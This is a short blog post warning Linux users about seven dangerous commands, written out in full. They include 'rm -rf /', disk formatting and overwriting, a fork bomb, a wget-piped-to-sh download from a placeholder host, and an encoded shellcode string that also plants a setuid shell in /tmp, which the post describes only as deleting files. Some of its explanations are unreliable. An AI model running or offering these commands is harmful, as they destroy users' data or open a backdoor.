If you often read many of blog posts or user posts in forum or social media, you should be aware when he/she advised you to run such a command on Terminal because the command you run might be harmful for your system. Today I'd like to share you 7 most dangerous Linux commands to you. Enjoy :)

First command:
  • rm -rf / #with root privilege such as 'sudo'
This command will delete your entire files on mounted devices! Here is the demo video about what will you get after running this command:




Second command:
  • char esp[] __attribute__ ((section(".text"))) /* e.s.p
  • release */
  • = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
  • "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
  • "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
  • "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
  • "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
  • "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
  • "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
  • "cp -p /bin/sh /tmp/.beyond; chmod 4755
  • /tmp/.beyond;";
Hexadecimal code! Same as the first command, it will delete entire files on your mounted devices.

Third command:

  • mkfs.ext3 /dev/sda

This command will format your /dev/sda device and of course will delete all files on it.

Fourth command:

  • :(){:|:&};:

Will run too many processes on your system and causes the computer hang up!

Fifth command:

  • any_command > /dev/sda

Will write a raw data and all files on /dev/sda will be replaced by the raw data.

Sixth command:

  • wget http://sumber_tak_terpercaya -O- | sh

Wil download a shell script from untrusted source and run it when the download finished.

Seventh command:

  • mv /home/username/* /dev/null

Will move home directory to a place that actually doesn't exist. In other words, it will delete your home directory.

So be careful and do a check before running such commands on your system.

Regards.


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About the Author

Damar Riyadi is a chief and owner of tahutek.net , Damar Riyadi joining the UB! since september 2011, he commit to bring a quality ubuntu review and article for you. Interested with him, find him in Google + , Facebook , and Launchpad.